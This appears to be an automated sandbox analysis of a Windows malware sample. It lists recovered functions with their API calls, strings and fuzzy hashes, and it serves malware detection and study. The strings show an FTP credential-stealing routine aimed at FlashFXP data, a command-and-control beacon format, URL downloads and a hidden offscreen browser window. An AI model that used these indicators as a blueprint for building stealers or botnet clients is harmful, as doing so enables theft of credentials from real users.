Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 1d9827a894f3f8a5ead85e530c3a22f3f32bf575e3091ef13a728acf1b8ae2ad
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

+@, xrefs: 00409301
javascript, xrefs: 004093BA
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 5d27cd9a03f957513de167056b4cf6ac27d5de90ad2759fc38c181f1cdf52fe6
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 5d27cd9a03f957513de167056b4cf6ac27d5de90ad2759fc38c181f1cdf52fe6
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,74DF0F00), ref: 00407043
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(?), ref: 0040708F
InternetOpenUrlW.WININET(?,?,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(?), ref: 004070BB

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 004047CC Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000), ref: 0040823C

RtlAllocateHeap.NTDLL(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftp://%S:%S@%S:%u, xrefs: 004049F6
ftplist.txt, xrefs: 00404805

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Find$FilePath$AllocateCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 2372625535-1322549247
Opcode ID: 40d46e4d36d3a186cbd1342ff77bf9c5cf66d7f17174447c238647f62506998a
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: 40d46e4d36d3a186cbd1342ff77bf9c5cf66d7f17174447c238647f62506998a
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

Via: , xrefs: 0040533C
ftp, xrefs: 004052C5
.html, xrefs: 004052B4
hOA, xrefs: 00405305
^key=, xrefs: 004052D0
From: , xrefs: 00405318
CsM, xrefs: 004053B2

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: 82b565c318c92811cc1fcd7c997887a6c1db696be048d29a5dc49aae136dd5e0
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 82b565c318c92811cc1fcd7c997887a6c1db696be048d29a5dc49aae136dd5e0
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

+@, xrefs: 00408CB7
http, xrefs: 00408E1A
_self, xrefs: 00408ED5

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: b29b04af0fd8df783a00e80cdbcc61c315534eae5082a51d3f3564c248de0ad6
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: b29b04af0fd8df783a00e80cdbcc61c315534eae5082a51d3f3564c248de0ad6
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,?,?,?,004032CE), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,?,?,?,004032CE), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

application/x-javascript, xrefs: 00406B68
text/javascript, xrefs: 00406BF3
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
text/html, xrefs: 00406B01
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: 52edaa5a59db4a54e65230104dd567da198e5767e6115127b3a1ab9bfcca5398
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: 52edaa5a59db4a54e65230104dd567da198e5767e6115127b3a1ab9bfcca5398
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell_TrayWnd, xrefs: 0040A1CF
eventConn, xrefs: 0040A188

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 4339e3f0dc457da50394cd639dc8395ed51e96cf63b790a54362bff983af086b
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 4339e3f0dc457da50394cd639dc8395ed51e96cf63b790a54362bff983af086b
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

http, xrefs: 00408B59
+@, xrefs: 004089FD

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: 789a0b4113426d536a6dbd70ac3fa36f55536d61627c7eef1083e5a0f6da7bd5
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: 789a0b4113426d536a6dbd70ac3fa36f55536d61627c7eef1083e5a0f6da7bd5
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

#, xrefs: 004037DC
&, xrefs: 004037EA
datafolder, xrefs: 0040376D
SOFTWARE\FlashFXP\3, xrefs: 0040375E
*flashfxp*, xrefs: 004037CE

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: 2c9c97cb0e4b331afd6807a12706ed177aa93df05a890f4fa4eae1323a9dc38e
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: 2c9c97cb0e4b331afd6807a12706ed177aa93df05a890f4fa4eae1323a9dc38e
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

http://, xrefs: 00409941
<domain>, xrefs: 004099BD
<url>, xrefs: 0040991C
</domain>, xrefs: 004099B8
</url>, xrefs: 00409917

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 0b84c150fe79eef348fa232134a2979da5830d61bcf949a9e3eece6736197f63
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 0b84c150fe79eef348fa232134a2979da5830d61bcf949a9e3eece6736197f63
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(753CF6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: a1e4566dcb42a438b782de8cbc71f50032a5fd76516fde8aebe09c3aff29a3de
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: a1e4566dcb42a438b782de8cbc71f50032a5fd76516fde8aebe09c3aff29a3de
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

hOA, xrefs: 0040ACC0
d, xrefs: 0040ADB6
^rcn=1, xrefs: 0040AD37
job^rev=%s^os=%s, xrefs: 0040ACDB
0, xrefs: 0040AD12

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: 4cb1df8bb0b87fba6aedb2e3e66e79cfad31cdc84dcae41a1e38891fc59b1e3a
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: 4cb1df8bb0b87fba6aedb2e3e66e79cfad31cdc84dcae41a1e38891fc59b1e3a
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 846800c24ea5a5b9ff161930f7f614b8eb87560c1f77c722534116a1327d738e
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 846800c24ea5a5b9ff161930f7f614b8eb87560c1f77c722534116a1327d738e
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4d1bc242cb33ba376acabb77e8562130d532cafd4101d87aa7673051eb511c6b
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 4d1bc242cb33ba376acabb77e8562130d532cafd4101d87aa7673051eb511c6b
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
